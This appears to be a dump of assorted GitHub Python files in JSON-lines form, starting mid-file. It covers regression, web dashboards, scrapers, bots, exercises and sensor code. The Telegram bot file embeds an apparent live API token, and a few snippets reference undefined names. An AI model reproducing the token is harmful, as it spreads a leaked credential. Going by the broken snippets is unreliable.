x.shape[0] > 5e6:\n # Lleaves takes a long time to compile models, so only\n # interesting for very large inferences!\n self.inference_mode = 'lleaves'\n else:\n self.inference_mode = 'lgbm'\n\n lprint(\"GBM regressor predicting now...\")\n if self.inference_mode == 'lleaves' and find_spec('lleaves'):\n try:\n return self._predict_lleaves(x)\n except Exception:\n # printing stack trace\n # traceback.print_exc()\n lprint(\"Failed lleaves-based regression!\")\n\n # This must work!\n return self._predict_lgbm(x)\n\n def _predict_lleaves(self, x):\n\n with lsection(\"Attempting lleaves-based regression.\"):\n\n # Creating lleaves model and compiling it:\n with lsection(\"Model saving and compilation\"):\n # Creating temporary file:\n with tempfile.NamedTemporaryFile() as temp_file:\n\n # Saving LGBM model:\n self.model.save_model(\n temp_file.name, num_iteration=self.model.best_iteration\n )\n\n import lleaves\n\n llvm_model = lleaves.Model(model_file=temp_file.name)\n llvm_model.compile()\n\n prediction = llvm_model.predict(x)\n\n return prediction\n\n def _predict_lgbm(self, x):\n prediction = self.model.predict(x, num_iteration=self.model.best_iteration)\n # LGBM is annoying, it spits out float64s\n prediction = prediction.astype(numpy.float32, copy=False)\n lprint(\"GBM regressor predicting done!\")\n return prediction\n","repo_name":"royerlab/aydin","sub_path":"aydin/regression/lgbm.py","file_name":"lgbm.py","file_ext":"py","file_size_in_byte":12786,"program_lang":"python","lang":"en","doc_type":"code","stars":128,"dataset":"github-code","pt":"3"}
+{"seq_id":"34844762400","text":"from fastapi.templating import Jinja2Templates\nfrom pydantic import BaseModel\nfrom frontend.database_sessions import SessionLocal\nfrom fastapi import FastAPI, Request, Depends, BackgroundTasks\nfrom sqlalchemy.orm import Session\nfrom database.db_models import Stocks\nfrom fastapi import APIRouter, HTTPException\ntemplates = Jinja2Templates(directory=\"template\")\n\nrouter = APIRouter()\n\nclass StocksRequest(BaseModel):\n symbol: str\n\n\ndef get_db():\n db = SessionLocal()\n try:\n yield db\n finally:\n db.close()\n\n\n@router.get(\"/dashboard\")\nasync def dashboard(request: Request, forward_pe=None, dividend_yield=None, ma50=None, ma200=None,\n db: Session = Depends(get_db)):\n print(\"\\n\\n\\n\\n\\n\\n\\n\\n shit \\n\\n\\n\\n\\n\\n\\n\\n\")\n stocks_fetched = db.query(Stocks)\n # stocks_fetched = db.query(Stocks).all()\n\n # if (forward_pe is not None) and forward_pe != '' :\n if forward_pe:\n stocks_fetched = stocks_fetched.filter(Stocks.forward_pe < forward_pe)\n print(forward_pe)\n if dividend_yield:\n stocks_fetched = stocks_fetched.filter(Stocks.dividend_yield > dividend_yield)\n if ma50:\n stocks_fetched = stocks_fetched.filter(Stocks.price > Stocks.ma50)\n if ma200:\n stocks_fetched = stocks_fetched.filter(Stocks.price > Stocks.ma200)\n print(stocks_fetched)\n return templates.TemplateResponse(\"dashboard.html\",\n {\"request\": request,\n \"stocks\": stocks_fetched,\n \"divident_yield\": dividend_yield,\n \"forward_pe\": forward_pe,\n \"ma50\": ma50,\n \"ma200\": ma200\n })\n\n\n\n@router.post(\"/stock\")\nasync def create_stock(stock_request: StocksRequest, background_tasks: BackgroundTasks,\n db: Session = Depends(get_db)):\n \"\"\"\n add one or more tickers to the database\n background task to use yfinance and load key statistics\n \"\"\"\n\n stock = Stocks()\n # print(\"stock request is\", stock_request)\n stock.symbol = stock_request.symbol\n db.add(stock)\n db.commit()\n\n background_tasks.add_task(dbh.fetch_stock_data_form_yfinance, stock.id)\n\n return {\n \"code\": \"success\",\n \"message\": f\"stock {stock.symbol} was added to the database\"\n }\n","repo_name":"webclinic017/analyticsoptim","sub_path":"frontend/router/dashboard.py","file_name":"dashboard.py","file_ext":"py","file_size_in_byte":2433,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"}
+{"seq_id":"20045116772","text":"# -*- coding:utf-8 -*-\n\nfrom config import HOST\nfrom common import get_md5\nimport re\n\ndef parse_json(info):\n \"\"\"解析JSON\"\"\"\n data = dict()\n detail_url = 'http://{host}.meituan.com/meishi/{id}/'.format(host=HOST[-1], id=info['poiId'])\n data['id'] = get_md5(detail_url)\n data['detail'] = detail_url\n data['title'] = info['title']\n\n data['avgprice'] = info['avgPrice']\n data['avgscore'] = info['avgScore']\n data['comments'] = info['allCommentNum']\n data['frontimg'] = info['frontImg']\n data['address'] = info['address']\n return data\n\ndef parse_detail_page(response):\n \"\"\"解析详情页\"\"\"\n data = dict()\n data['phone'] = re.findall('\"phone\":\"(.*?)\"', response.text, re.S)[0]\n data['opentime'] = re.findall('\"openTime\":\"(.*?)\"', response.text, re.S)[0]\n data['tags'] = '|'.join(re.findall('\"text\":\"(.*?)\"', response.text, re.S))\n return data","repo_name":"Northxw/Meituan","sub_path":"parse.py","file_name":"parse.py","file_ext":"py","file_size_in_byte":894,"program_lang":"python","lang":"en","doc_type":"code","stars":97,"dataset":"github-code","pt":"3"}
+{"seq_id":"3887066708","text":"from __future__ import print_function\nfrom concurrent import futures\nimport asyncio\nimport asynchio_pb2\nimport asynchio_pb2_grpc\nimport grpc\n\n\nclass Server(asynchio_pb2_grpc.AlertServicer):\n async def f1(self):\n for i in range(10):\n print(\"f1 is running\")\n await asyncio.sleep(0.2) # Simulate some asynchronous work\n\n# Try indirect calling of the function as well, then try adding elements from asynchio_working.py\n\n async def f2(self):\n print(\"f2 is running\")\n asyncio.create_task(self.f1())\n return \"SUCCESS\"\n\n def endTurn(self, request, context):\n print(\"f2 is running\")\n # await asyncio.sleep(1) # Simulate some asynchronous work\n print(\"f2 is done\")\n\n # Call f1 inside f2 and let it run concurrently\n asyncio.run(self.f2())\n\n return asynchio_pb2.Confirmation(status_code=200)\n\n\ndef serve():\n server = grpc.server(futures.ThreadPoolExecutor(max_workers=10))\n asynchio_pb2_grpc.add_AlertServicer_to_server(Server(), server)\n server.add_insecure_port(\"[::]:50050\")\n server.start()\n print(\"Server started listening on port 50050\")\n server.wait_for_termination()\n\n\nasync def main():\n # Perform an RPC to f2() in the server\n with grpc.insecure_channel(\"localhost:50050\") as channel:\n stub = asynchio_pb2_grpc.AlertStub(channel)\n response = stub.endTurn(asynchio_pb2.Status(isAlive=True))\n\n # Continue with other tasks or code after f2 has finished\n print(\"Status of endTurn():\" + str(response.status_code))\n\n\nif __name__ == \"__main__\":\n serve()\n","repo_name":"coscotuff/Airstrike_RPC","sub_path":"trials/asynchio_trials/asyncRPC_server.py","file_name":"asyncRPC_server.py","file_ext":"py","file_size_in_byte":1594,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"40824204530","text":"# Manuel Lameira\n# DTH 22 readings using MicroPython\n\n# DTH22 --> ESP32\n# GND --> GND\n# VCC --> 5v or 3.3v\n# DAT --> D14\n\nfrom machine import Pin, I2C\nfrom time import sleep\nimport dht\nimport ssd1306\n\nsensor = dht.DHT22(Pin(14))\n#sensor = dht.DHT11(Pin(14))\n\n# ESP32 Pin assignment \ni2c = I2C(-1, scl=Pin(4), sda=Pin(5)) # 5=SDK/SDA 4=SCK/SCL As per labeling on ESP32 DevKi\n\n# Define the OLED width and height\noled_width = 128\noled_height = 64\noled = ssd1306.SSD1306_I2C(oled_width, oled_height, i2c)\n\n\nwhile True:\n try:\n \n oled.fill(0)\n # The DHT22 need 2s to get the readings \n sleep(2)\n sensor.measure()\n temp = sensor.temperature()\n temp_conv = str('%3.1f C' %temp)\n hum = sensor.humidity()\n hum_conv = str('%3.1f %%' %hum)\n \n \n oled.text('Temperature: ', 0, 0)\n oled.text( temp_conv, 0, 10)\n #oled.text( temp_f_conv, 0, 20)\n oled.text('Humidity: ', 0, 30)\n oled.text( hum_conv, 0, 40)\n \n oled.show()\n \n \n except OSError as e:\n #print('Failed to read sensor.')\n oled.fill(0) \n oled.text('Failed to read sensor!', 0, 20)\n oled.show()\n\n","repo_name":"Qu3d45/MicroPython_ESP32","sub_path":"esp32_OLED_DTH22/dht22_OLED.py","file_name":"dht22_OLED.py","file_ext":"py","file_size_in_byte":1127,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"14804985846","text":"import time\nimport random\nimport datetime\nimport telepot\n\n\"\"\"\nAfter **inserting token** in the source code, run it:\n```\nThis simple bot does nothing\nbut accepts two commands:\n- `/roll` - reply with a random integer between 1 and 6, like rolling a dice.\n- `/time` - reply with the current time, like a clock.\n\"\"\"\n\ndef handle(msg):\n chat_id = msg['chat']['id']\n command = msg['text']\n\n print ('Got command: %s' % command)\n\n if command == '/roll':\n bot.sendMessage(chat_id, random.randint(1,6))\n elif command == '/time':\n bot.sendMessage(chat_id, str(datetime.datetime.now()))\n elif command == '/question':\n \tbot.sendMessage(chat_id) \n\nbot = telepot.Bot('275495631:AAGBwM9jBjK571E1FAQPttGf-pJRLhonXh0')\nbot.message_loop(handle)\nprint ('I am listening ...')\n\nwhile 1:\n\ttime.sleep(10)","repo_name":"tanvi-surana/telegram-bot","sub_path":"tanvi_bot.py","file_name":"tanvi_bot.py","file_ext":"py","file_size_in_byte":817,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"70208054481","text":"# https://www.beecrowd.com.br/judge/pt/custom-problems/view/1760\nsomaIdade = 0\npessoas90 = 0\np = 0\n\nwhile p < 4:\n idade = int(input())\n peso = float(input())\n somaIdade += idade\n if(peso > 90):\n pessoas90 += 1\n p += 1\n \nprint(\"Qtd pessoas > 90 Kg: %i\" % (pessoas90))\nprint(\"Idade média: %.2f \" % (somaIdade/4))\n ","repo_name":"lcs2777/Algoritmos-e-Programa-o","sub_path":"Lista de exercícios 4/1760.py","file_name":"1760.py","file_ext":"py","file_size_in_byte":341,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"21533106322","text":"# exersice 1)\na = 3\nb = 15\n\n\ndef gcd(a, b):\n \"\"\"\n :param a:\n int\n :param b:\n int\n :return:\n the greatest common divisor among a and b\n \"\"\"\n if a == b == 0:\n return 0\n elif b == 0:\n return abs(a)\n elif a == 0:\n return abs(b)\n else:\n return gcd(b, a % b)\n\n\ngreatestCommonDivisor = gcd(a, b)\n\n\ndef lcm(a, b):\n \"\"\"\n :param a:\n int\n :param b:\n int\n :return:\n the lowest common multiple of a and b\n \"\"\"\n if b == 0:\n return a\n elif a == 0:\n return b\n else:\n return (a / gcd(a, b)) * b\n\n\nleastCommonMultiple = lcm(a, b)\nprint(greatestCommonDivisor, leastCommonMultiple)\n","repo_name":"Mario-bgt/MAT_101_Programming","sub_path":"sheet2_mario_baumgartner/ex02.1.py","file_name":"ex02.1.py","file_ext":"py","file_size_in_byte":704,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"43825413393","text":"import discord\nfrom discord.ext import commands\nimport pymongo\nfrom pymongo import MongoClient\nimport random\nfrom random import randint\n\ncolor = 0xa100f2\nguild = 757098499836739594\nbattle = (\"put battle chnl id here\")\n\nclass vein11(commands.Cog, name='battle'):\n def __init__(self, Bot):\n self.Bot= Bot\n\n\n @commands.command(aliases=['battle'])\n @commands.guild_only()\n async def challenge(self, ctx, member: discord.Member):\n if ctx.guild.id != (guild):\n return await ctx.send('Main server only ;)')\n if ctx.channel.id != (757941959796195484):\n return\n if member.id == ctx.author.id:\n msg = ctx.message\n await msg.add_reaction('<:WeirdChamp:757112297096216627>')\n return\n if member.bot:\n return\n author_id = str(ctx.message.author.id)\n member_id = str(member.id)\n\n db = self.Bot.cluster1['AbodeDB']\n collection= db['Levels']\n hm1 = {\"_id\" : author_id}\n hm2 = {\"_id\" : member_id}\n author_db = collection.find(hm1)\n member_db = collection.find(hm2)\n if (collection.find_one({\"_id\": member_id})== None):\n await ctx.send(f'{member.name} is not on the database.')\n def check(reaction,user):\n return user.id == member.id and user.id != 759784064361299989\n\n\n msg = await ctx.send(f\"{member.name} {ctx.author.mention} wants to challenge you to a duel. React with <:check:773959361953267742> to accept the battle or react with <:xmark:773959363379462184> to deny the challenge.\")\n await msg.add_reaction('<:check:773959361953267742>')\n await msg.add_reaction('<:xmark:773959363379462184>')\n\n\n reaction, user= await self.Bot.wait_for(\"reaction_add\",timeout=30, check=check)\n\n\n\n if str(reaction.emoji) == '<:xmark:773959363379462184>':\n return await ctx.send(f'{member.name} rejected the battle.')\n elif str(reaction.emoji) == '<:check:773959361953267742>':\n await msg.delete()\n await ctx.send(f'Duel accepted.')\n\n for lvl1 in author_db:\n stre = lvl1['Strength']\n sped = lvl1['Speed']\n defen = lvl1['Defense']\n sol = lvl1['Soul']\n health = lvl1['Health']\n luk = lvl1['Luck']\n qi = lvl1['Qi']\n pth= lvl1['Path']\n nme = lvl1['Name']\n for lvl in member_db:\n stre1 = lvl['Strength']\n sped2 = lvl['Speed']\n defen3 = lvl['Defense']\n sol4 = lvl['Soul']\n health5 = lvl['Health']\n luk6 = lvl['Luck']\n qi7 = lvl['Qi']\n pth8= lvl['Path']\n nme9= lvl['Name']\n smthin = random.randint(1,5)\n new_total_user = (stre + sped + defen + sol + health + (qi*2) + (luk *smthin))\n new_total_member = (stre1 + sped2 + defen3 + sol4 + health5 + (qi7*2) + (luk6 *smthin))\n\n print (new_total_user)\n print(new_total_member)\n\n\n await ctx.send(new_total_member)\n\n\n\n\n\n\n\n\ndef setup (Bot):\n Bot.add_cog(vein11(Bot))\n print(\"Battle cog is working.\")\n","repo_name":"Vein05/Abode","sub_path":"cogs/battle.py","file_name":"battle.py","file_ext":"py","file_size_in_byte":3220,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"3"}
+{"seq_id":"38053698210","text":"import random\nimport string\n\n# Gera um numero inteiro entre A e B\n# inteiro = random.randint(1, 100)\n\n# Gera um numero aleatorio usando a funcao range()\ninteiro = random.randrange(900, 1000, 10)\n\n# Gera um numero tipo float entre A e B\n# flutuante = random.uniform(10, 20)\n\n# Gera um numero de ponto flutuante entre 0 e 1\nflutuante = random.random()\n\n# Sorteia 2 nomes aleatorio de forma nao repetida\nlista = ['Antonio', 'Allyson', 'Sammy', 'Hugo', 'Luca', 'Felps']\nfor i in range(10):\n sorteio = random.sample(lista, 2)\n print(sorteio)\n\n\n# Gera uma senha aleatoria\nletras = string.ascii_letters\ndigitos = string.digits\ncaracteres = \"!@#$%&*\"\ngeral = letras + digitos + caracteres\nsenha = \"\".join(random.choices(geral, k=20))\n\nprint(senha)\n","repo_name":"Naptoss/Modulo-05","sub_path":"Random/rd.py","file_name":"rd.py","file_ext":"py","file_size_in_byte":747,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"40732088167","text":"import random\n\nclass Pirate:\n technique = 0\n\n def __init__( self , name ):\n self.name = name\n self.strength = 15\n self.speed = 3\n self.health = 100\n\n def show_stats( self ):\n print(f\"Name: {self.name}\\nStrength: {self.strength}\\nSpeed: {self.speed}\\nHealth: {self.health}\\n\")\n\n def attack ( self , ninja ):\n if self.can_fight(self.strength):\n ninja.health -= self.strength\n ninja.strength -= 3\n print('Pirate Attack!')\n else:\n print(f'{self.name} can\\'t fight anymore!')\n return self\n \n def hook_hand(self, ninja):\n if self.can_fight(self.strength):\n ninja.health -= 5\n ninja.strength -= 1\n print('Hook Hand Attack!')\n else:\n print(f'{self.name} can\\'t fight anymore!')\n return self\n \n def cannonball(self, ninja):\n if self.can_fight(self.strength):\n ninja.health -= 15\n ninja.strength -= 2\n print('Cannon Ball Fire!')\n else:\n print(f'{self.name} can\\'t fight anymore!')\n return self\n \n @classmethod\n def determine_technique(cls):\n cls.technique = random.randint(1,3)\n return cls.technique\n \n @staticmethod\n def can_fight(strength):\n if strength > 0:\n return True\n else:\n return False\n\nclass Corsair(Pirate):\n def __init__(self, name):\n super().__init__(name)\n self.strength = 20\n self.speed = 5\n self.health = 100\n \n def attack(self, ninja):\n print(f'Using special technique: Devil Fruit Attack!!!')\n super().attack(ninja)","repo_name":"jazdal/coding-dojo-python-stack","sub_path":"python/fundamentals/oop/oop_hackathon/ninjas_vs_pirates/classes/pirate.py","file_name":"pirate.py","file_ext":"py","file_size_in_byte":1696,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"25282565517","text":"n=int(input(\"Enter number of terms \"))\nn1=0\nn2=1\ncount=0\nif n==1:\n print(\"The series is:\",n1)\nelse:\n print(\"Fibonacci sequence: \")\n while count weekday_before:\r\n month[week_counter][i.weekday()] = str(i.day).zfill(2)\r\n else:\r\n week_counter = week_counter + 1 \r\n month[week_counter][i.weekday()] = str(i.day).zfill(2)\r\n return month\r\n\r\ndef as_table(month):\r\n print(r'\\begin{tabular}{ccccccc}')\r\n print(r'Mo & Di & Mi & Do & Fr & Sa & So \\\\')\r\n for week in month:\r\n print(' & '.join(week), r'\\\\')\r\n print(r'\\end{tabular}')\r\n\r\ndef as_tikz_table(month):\r\n for cntw, week in enumerate(month):\r\n for cntd, day in enumerate(week):\r\n print(f'\\\\node at ({cntd},{-cntw}) {{{day}}};')\r\n\r\ndef as_tikz_table_wknd(month):\r\n for cntw, week in enumerate(month):\r\n for cntd, day in enumerate(week):\r\n stil = '[wknd]' if cntd in [5,6] and \\\r\n day != ' ' else ''\r\n print(f'\\\\node {stil} at ({cntd},{-cntw}) {{{day}}};')\r\n\r\n\r\nseptember = prep_Cal(2021,9)\r\npprint(september)\r\nas_tikz_table(september)\r\nas_tikz_table_wknd(september)\r\n","repo_name":"UweZiegenhagen/TalksAndArticles","sub_path":"2021-Dante-Herbst/Cal-00.py","file_name":"Cal-00.py","file_ext":"py","file_size_in_byte":1607,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"924252452","text":"# -*- coding: utf-8 -*-\n# this file is released under public domain and you can use without limitations\n\n#########################################################################\n## This is a sample controller\n## - index is the default action of any application\n## - user is required for authentication and authorization\n## - download is for downloading files uploaded in the db (does streaming)\n#########################################################################\nfrom gluon.tools import Service\nservice = Service()\nimport gluon.contrib.simplejson as json\n\ndef index():\n return dict()\n\ndef alerts():\n form = SQLFORM.grid(db.plates.plate.contains(db.alerts.plate),\n fields=[db.plates.site_id,\n db.plates.camera_id,\n db.plates.plate,\n db.plates.epoch_time,\n db.plates.plate_img_uuid],\n csv=False,\n details=False,\n headers={'plates.site_id':'Sitio',\n 'plates.camera_id':'Camara',\n 'plates.plate':'Patente',\n 'plates.epoch_time':'Fecha',\n 'plates.plate_img_uuid':'Foto'})\n if not 'keywords' in request.vars:\n form[0][1][1] = ''\n form[2] = ''\n else:\n form[0][1][1] = ''\n return dict(form=form)\n\ndef search():\n form = SQLFORM.smartgrid(db.arrest, fields=[db.arrest.plate,\n db.arrest.arrest_reason,\n db.arrest.driver_information],\n csv=False,\n details=False,\n headers={'arrest.plate':'Patente',\n 'arrest.arrest_reason':'Delito',\n 'arrest.driver_information':'Informacion'},\n maxtextlength=50)\n form[0] = ''\n if not 'keywords' in request.vars:\n form[0] = ''\n form[1][1][1] = ''\n form[2] = ''\n else:\n form[1][1][1] = ''\n return dict(form=form)\n\n\ndef maps():\n return dict()\n\n@service.json\ndef message():\n from gluon.contrib.websocket_messaging import websocket_send\n msg = request.body.read()\n data = json.loads(msg)\n insert = db.plates.insert(plate = data['results'][0]['plate'],\n confidence = data['results'][0]['confidence'],\n total_processing_time = data['processing_time_ms'],\n plate_processing_time = data['results'][0]['processing_time_ms'],\n epoch_time = data['epoch_time'],\n camera_id = data['camera_id'],\n site_id = data['site_id'],\n img_width = data['img_width'],\n img_height = data['img_height'],\n plate_img_uuid = data['uuid'])\n websocket_send('http://127.0.0.1:8888', msg, 'mykey', 'live_stream')\n pass\n\n@service.json\ndef get_plates():\n from gluon.contrib.websocket_messaging import websocket_send\n data = request.body.read()\n query = db(db.arrest.arrest==True).select()\n return dict(arrest=query)\n\ndef user():\n \"\"\"\n exposes:\n http://..../[app]/default/user/login\n http://..../[app]/default/user/logout\n http://..../[app]/default/user/register\n http://..../[app]/default/user/profile\n http://..../[app]/default/user/retrieve_password\n http://..../[app]/default/user/change_password\n http://..../[app]/default/user/bulk_register\n use @auth.requires_login()\n @auth.requires_membership('group name')\n @auth.requires_permission('read','table name',record_id)\n to decorate functions that need access control\n also notice there is http://..../[app]/appadmin/manage/auth to allow administrator to manage users\n \"\"\"\n return dict(form=auth())\n\n\n@cache.action()\ndef download():\n \"\"\"\n allows downloading of uploaded files\n http://..../[app]/default/download/[filename]\n \"\"\"\n return response.download(request, db)\n\n\ndef call():\n \"\"\"\n exposes services. for example:\n http://..../[app]/default/call/jsonrpc\n decorate with @services.jsonrpc the functions to expose\n supports xml, json, xmlrpc, jsonrpc, amfrpc, rss, csv\n \"\"\"\n return service()\n\n\n","repo_name":"norsig/ALPR-Web-Dashboard","sub_path":"controllers/default.py","file_name":"default.py","file_ext":"py","file_size_in_byte":3847,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"21749237063","text":"import os\nimport sys\nimport random\nimport numpy as np\n\ndata_dir = os.path.normpath(os.path.join(sys.path[0], '../data'))\nin_dir = os.path.join(data_dir, 'interim', 'survival')\nout_dir = os.path.join(data_dir, 'processed', 'survival')\nbasenames = os.listdir(os.path.join(data_dir, 'interim', 'survival', 'X'))\nrandom.shuffle(basenames)\nnum_test = int(len(basenames) * TEST_FRACTION)\nnum_train = len(basenames) - num_test\nlabels = ['test'] * num_test + ['train'] * num_train\n\nfor (kind, file) in zip(labels, basenames):\n Xs_original = np.load(os.path.join(data_dir, 'interim', 'survival', 'X', file))\n Ys_original = np.load(os.path.join(data_dir, 'interim', 'survival', 'Y', file))\n Xs_normalized = normalize_feature_vectors(Xs_original)\n Xs_normalized.dump(os.path.join(data_dir, 'processed', 'survival', kind, 'X', file))\n Ys_original.dump(os.path.join(data_dir, 'processed', 'survival', kind, 'Y', file))\n print(file)\n","repo_name":"matthewlw/seizure-forecasting","sub_path":"src/features/split_survival.py","file_name":"split_survival.py","file_ext":"py","file_size_in_byte":937,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"3"}
+{"seq_id":"69932598481","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport torch\n\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n\n\ndef train(\n model,\n train_dl,\n optimizer,\n criterion,\n scheduler,\n weight_decay,\n batch_size,\n block_size,\n):\n \"\"\"\n train the model\n :param model: {torch.nn.Module} model to be trained\n :param train_dl: {torch.utils.data.DataLoader} training data loader\n :param optimizer: {torch.optim} optimizer\n :param criterion: {torch.nn} loss function\n :param scheduler: {torch.optim.lr_scheduler} learning rate scheduler\n :param weight_decay: {float} weight decay\n :param batch_size: {int} batch size\n :param block_size: {int} block size\n Returns:\n -train_loss: {float} training loss\n -train_acc: {float} training accuracy\n \"\"\"\n\n model.train()\n train_running_loss = 0.0\n train_running_acc = 0\n\n text_batch, target_batch = next(iter(train_dl))\n # for text_batch, target_batch in train_dl:\n text_batch.to(device)\n target_batch.to(device)\n optimizer.zero_grad()\n loss = 0\n # forward pass\n hidden, cell = model.init_hidden(batch_size)\n for c in range(block_size):\n pred, hidden, cell = model(text_batch[:, c], hidden, cell)\n loss += criterion(pred, target_batch[:, c])\n\n # L2 regularization\n l2_loss = 0.0\n for param in model.parameters():\n l2_loss += torch.norm(param, p=2)\n loss += weight_decay * l2_loss\n\n # backward pass\n optimizer.zero_grad()\n loss.backward()\n # Gradient clipping\n torch.nn.utils.clip_grad_norm_(model.parameters(), max_norm=5.0)\n # update parameters\n optimizer.step()\n loss = loss.item() / block_size\n train_running_loss += loss\n # accuracy\n pred = torch.argmax(pred, dim=1)\n target = target_batch[:, c]\n acc = (pred == target).sum().item() / len(target)\n train_running_acc += acc\n scheduler.step()\n\n return train_running_loss, train_running_acc\n\n\ndef validate(model, val_dl, optimizer, criterion, batch_size, block_size):\n \"\"\"\n validate the model\n :param model: {torch.nn.Module} model to be trained\n :param val_dl: {torch.utils.data.DataLoader} validation data loader\n :param optimizer: {torch.optim} optimizer\n :param criterion: {torch.nn} loss function\n :param batch_size: {int} batch size\n :param block_size: {int} block size\n Returns:\n -val_loss: {float} validation loss\n -val_acc: {float} validation accuracy\n \"\"\"\n\n model.eval()\n with torch.no_grad():\n val_running_loss = 0.0\n val_running_acc = 0\n\n text_batch, target_batch = next(iter(val_dl))\n # for text_batch, target_batch in val_dl:\n text_batch.to(device)\n target_batch.to(device)\n optimizer.zero_grad()\n loss = 0\n # forward pass\n hidden, cell = model.init_hidden(batch_size)\n for c in range(block_size):\n pred, hidden, cell = model(text_batch[:, c], hidden, cell)\n loss += criterion(pred, target_batch[:, c])\n loss = loss.item() / block_size\n val_running_loss += loss\n # accuracy\n pred = torch.argmax(pred, dim=1)\n target = target_batch[:, c]\n acc = (pred == target).sum().item() / len(target)\n val_running_acc += acc\n\n return val_running_loss, val_running_acc\n","repo_name":"sphamtambo/peptides_gen","sub_path":"src/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":3378,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"10985395666","text":"#!/usr/bin/env python3\n\nimport os\nimport sys\nimport time\nfrom ping_file_path import ping_filepath\nfrom urllib.parse import parse_qs\n\nquery = parse_qs(os.environ.get('QUERY_STRING', ''), keep_blank_values=True)\ntimeout_ms = query.get('timeout_ms', [None])[0]\nend_test = query.get('end_test', [None])[0]\n\nno_timeout = True\ntimeout_msecs = 0\nif timeout_ms is not None:\n no_timeout = False\n timeout_msecs = int(timeout_ms)\n\nping_file_found = False\nwhile no_timeout or timeout_msecs > 0:\n if os.path.isfile(ping_filepath):\n ping_file_found = True\n break\n\n time.sleep(0.01)\n if not no_timeout:\n timeout_msecs -= 10\n\nsys.stdout.write(\n 'Content-Type: text/html\\r\\n\\r\\n'\n '\\n'\n)\n\nif ping_file_found:\n sys.stdout.write('Ping received.')\n ping_file = open(ping_filepath, 'r')\n for line in ping_file.readlines():\n sys.stdout.write('
{}'.format(line.strip()))\n\n ping_file.close()\n if os.path.isfile(ping_filepath):\n os.remove(ping_filepath)\nelse:\n sys.stdout.write('Ping not received - timed out.')\n\nif end_test is not None:\n sys.stdout.write(\n ''\n )\n\nsys.stdout.write('